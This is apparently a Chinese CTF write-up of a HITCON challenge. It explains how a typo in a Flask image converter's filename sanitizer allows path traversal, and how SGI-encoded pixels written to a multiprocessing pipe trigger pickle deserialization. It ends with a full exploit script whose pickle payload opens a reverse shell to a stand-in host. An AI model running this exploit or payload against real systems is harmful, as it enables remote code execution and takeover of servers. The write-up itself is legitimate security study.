hitconCTF,这场比赛还挺难的,一如既往的爆0,什么时候才能成为糕手
分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 from flask import Flask, request, send_file, gimport osimport ioimport zipfileimport tempfilefrom multiprocessing import Poolfrom PIL import Imagedef convert_image (args ): file_data, filename, output_format, temp_dir = args try : with Image.open (io.BytesIO(file_data)) as img: if img.mode != "RGB" : img = img.convert('RGB' ) filename = safe_filename(filename) orig_ext = filename.rsplit('.' , 1 )[1 ] if '.' in filename else None ext = output_format.lower() if orig_ext: out_name = filename.replace(orig_ext, ext, 1 ) else : out_name = f"{filename} .{ext} " output_path = os.path.join(temp_dir, out_name) with open (output_path, 'wb' ) as f: img.save(f, format =output_format) return output_path, out_name, None except Exception as e: return None , filename, str (e) def safe_filename (filename ): filneame = filename.replace("/" , "_" ).replace(".." , "_" ) return filename app = Flask(__name__) app.config['MAX_CONTENT_LENGTH' ] = 5 * 1024 * 1024 @app.before_request def before_request (): g.pool = Pool(processes=8 ) @app.route('/' ) def index (): return send_file('index.html' ) @app.route('/convert' , methods=['POST' ] ) def convert_images (): if 'files' not in request.files: return 'No files' , 400 files = request.files.getlist('files' ) output_format = request.form.get('format' , '' ).upper() if not files or not output_format: return 'Invalid input' , 400 with tempfile.TemporaryDirectory() as temp_dir: file_data = [] for file in files: if file.filename: file_data.append( (file.read(), file.filename, output_format, temp_dir) ) if not file_data: return 'No valid images' , 400 results = list (g.pool.map (convert_image, file_data)) successful = [] failed = [] for path, name, error in results: if not error: successful.append((path, name)) else : failed.append((name or 'unknown' , error)) if not successful: error_msg = "All conversions failed. " + \ "; " .join([f"{f} : {e} " for f, e in failed]) return error_msg, 500 zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w' , zipfile.ZIP_DEFLATED) as zf: for path, name in successful: zf.write(path, name) if failed: summary = f"Conversion Summary:\nSuccessful: {len (successful)} \nFailed: {len (failed)} \n\nFailures:\n" summary += "\n" .join([f"- {f} : {e} " for f, e in failed]) zf.writestr("errors.txt" , summary) zip_buffer.seek(0 ) return send_file(zip_buffer, mimetype='application/zip' , as_attachment=True , download_name=f'converted_{output_format.lower()} .zip' ) if __name__ == '__main__' : app.run(debug=True , host='0.0.0.0' , port=5001 )
这道题是一个图片转换的网站,实现了一个防止目录跨越的函数
1 2 3 def safe_filename (filename ): filneame = filename.replace("/" , "_" ).replace(".." , "_" ) return filename
有意思的是注意filneame,并不是filename,所以说,这道题还是要打目录跨越 这个时候我瞥见debug开了,还以为可能会是热重载,绕过这两个东西
1 2 3 4 with Image.open (io.BytesIO(file_data)) as img:with open (output_path, 'wb' ) as f: img.save(f, format =output_format)
以为往一张图片里塞些python代码即可(),实操每进展,img里的save函数好像都会转为二进制 走到这里确实是每招了()
学习 题解里给了一种很难想到的思路()关于Pillow的image 对于这道题,主要学习它选择格式进行存储pickle数据的思路,以及跨越目录的细节,至于关键的pickle反序列化,想在后半段进行CVE复现 我们该如何选择这样格式的图片呢? 这里面涉及两类,一个是跨越目录的精细调控,另一个是格式选择()
跨越目录 关注核心代码,这个逻辑好好懂下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 try : with Image.open (io.BytesIO(file_data)) as img: if img.mode != "RGB" : img = img.convert('RGB' ) filename = safe_filename(filename) orig_ext = filename.rsplit('.' , 1 )[1 ] if '.' in filename else None ext = output_format.lower() if orig_ext: out_name = filename.replace(orig_ext, ext, 1 ) else : out_name = f"{filename} .{ext} " output_path = os.path.join(temp_dir, out_name) with open (output_path, 'wb' ) as f: img.save(f, format =output_format) return output_path, out_name, None except Exception as e: return None , filename, str (e)
注意xxx../../../../flag python里面是无法自动规范的(php就是最好的语言) 为什么我会比较这个?注意题目允许我传入修改后的文件后缀,你以为可以自定义了吗? 这必须得符合Pillow库的要求,否则会报错 而且注意替换逻辑,根据点号后的后缀,从前往后进行替换,这个时候我们可以用已知路径(必须是合法路径)进行绕过,有点牛哇 这要求我们找到一个已知路径,里面含有一部分是Pillow库允许的后缀格式,比如
1 /usr/local/lib/python3.13/wsgiref/../../../../../../../../../.././proc/self/fd/10
最终目的是替换/proc/self/fd/10的内容 为啥我们前面要匹配这个路径呢?因为它是sgi 所以传入的路径是
1 /usr/local/lib/python3.13/w/proc/self/fd/10ref/../../../../../../../../../.././proc/self/fd/10
系统检测到替换成sgi,完美实现目录跨越 当然不止是sgi,还有其他的格式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 { "im": [ "/usr/local/include/python3.13/internal/mimalloc", "/sys/kernel/slab/btrfs_prelim_ref", "/sys/devices/virtual/net/lo/queues/tx-0/byte_queue_limits", "/sys/bus/platform/drivers/alarmtimer", "/etc/systemd/system/timers.target.wants", "/sys/module/libnvdimm", "/usr/local/lib/python3.13/importlib", "/usr/local/lib/python3.13/email/mime", "/sys/kernel/slab/posix_timers_cache", "/usr/local/include/python3.13/internal/mimalloc/mimalloc", "/sys/devices/pnp0/00:00/rtc/rtc0/alarmtimer.0.auto", "/usr/share/doc/libpam-runtime", "/var/lib/systemd/deb-systemd-helper-enabled/timers.target.wants", "/etc/security/limits.d", "/sys/devices/virtual/net/eth0/queues/tx-0/byte_queue_limits", "/sys/bus/nd/drivers/nvdimm", "/usr/local/lib/python3.13/site-packages/pip/_internal/metadata/importlib", "/usr/lib/mime" ], "ico": [ "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/BidiM", "/usr/local/lib/python3.13/site-packages/gunicorn", "/usr/local/lib/python3.13/site-packages/gunicorn-23.0.0.dist-info", "/usr/lib/x86_64-linux-gnu/perl-base/unicore" ], "mpo": [ "/usr/local/lib/python3.13/importlib", "/usr/local/lib/python3.13/site-packages/pip/_internal/metadata/importlib" ], "sgi": [ "/usr/local/lib/python3.13/wsgiref" ], "bmp": [ "/usr/share/doc/libmpfr6", "/usr/share/doc/libmpc3" ] }
选择转化为sgi是因为基于后续的内容存储 当然这只是第一步 如何选择文件格式,基于它的文件内容存储,实现比较好的pickle数据传输进行反序列化呢?
文件选择 这一步其实是一个描述我初做时的问题 所以都是二进制数据,可以传入python代码被理解吗?后面也许会看看 首先pass掉大部分文件比如PNG,JPEG,GIF等等,他们会进行压缩编码等等,影响我们传入的pickle数据,一些过于复杂的格式也pass掉 目光看到未压缩或简单结构的格式 比如BMP 和 SGI
BMP 是一种简单的未压缩位图格式。它包含一个文件头(BITMAPFILEHEADER)和一个信息头(BITMAPINFOHEADER),之后就是原始的BGR像素数据。 缺点:文件头是固定的结构,其内容(如图像大小)会影响数据解析。 更重要的是,BMP格式默认会进行4字节对齐(Padding)。这意味着图像每行的字节数如果不是4的倍数,它会自动补零。 这会破坏我们精心计算的Payload偏移,让利用变得非常复杂和不可靠。虽然有人用超大BMP文件成功利用(用海量数据淹没管道,赌Payload能对齐),但这种方式效率低下且不稳定。
SIG SGI格式有一个固定且较短的文件头。作者指出其文件头签名是 0x01da0001。这个头是固定的,我们可以提前知道它的内容 原始(Raw)的像素数据:在文件头之后,SGI格式通常会直接存储连续的、未压缩的RGB像素数据 选择它可以很好的存入pickle数据不被各种情况影响
当Python的 multiprocessing.Pool() 被创建时,它会在后台创建新的子进程,并且为了和这些子进程通信,它会建立管道(Pipe)。 这个管道在操作系统内部本质上就是一个先进先出(FIFO)的数据队列。一个进程往里面写,另一个进程可以从里面读。 我们把数据传入这个地方,可以让它对恶意内容进行pickle反序列化处理
multiprocessing 的进程间通信(IPC)是通过 pickle 实现-CVE CVE-2020-10796 阿里云上找CVE复现倒还是很方便的() 至于对该CVE的复现,就放到其他地方吧,最后附一篇exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from PIL import Image, ImageDrawCONV_URL = 'http://chall.tld/convert' width, height = 65535 , 159 img = Image.new('RGB' , (width, height), 'black' ) draw = ImageDraw.Draw(img) draw.rectangle([(65504 , 3 ), (65505 , 3 )], fill='#0000FF' ) payload = b'cbuiltins\nexec\n(Vimport socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("vps.tld",13337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);\ntR....' for i, c in enumerate (payload): draw.rectangle([ ((65506 + i) % width, 3 - (65506 + i) // width), ((65506 + i) % width, 3 - (65506 + i) // width) ], fill='#FFFF%02X' % (c)) img.save('pixel.png' , 'PNG' ) import requestswith open ('pixel.png' , 'rb' ) as f: fd = 10 path = f'/proc/self/fd/{fd} ' files = { 'files' : (f'/usr/local/lib/python3.13/w{path} ref/../../../../../../../../../../.{path} ' , f) } response = requests.post(CONV_URL, files=files, data={'format' : 'SGI' }) print (response.status_code) print (response.text)
后记 以前做php文件上传的题目习惯不好,对于各个文件格式没有清晰认识,这里面使用了img.save(f, format=output_format)
进行转换,注定了要找到一个可以控制数据的文件类型,这里选择了SGI,感觉可以作为一个出题点()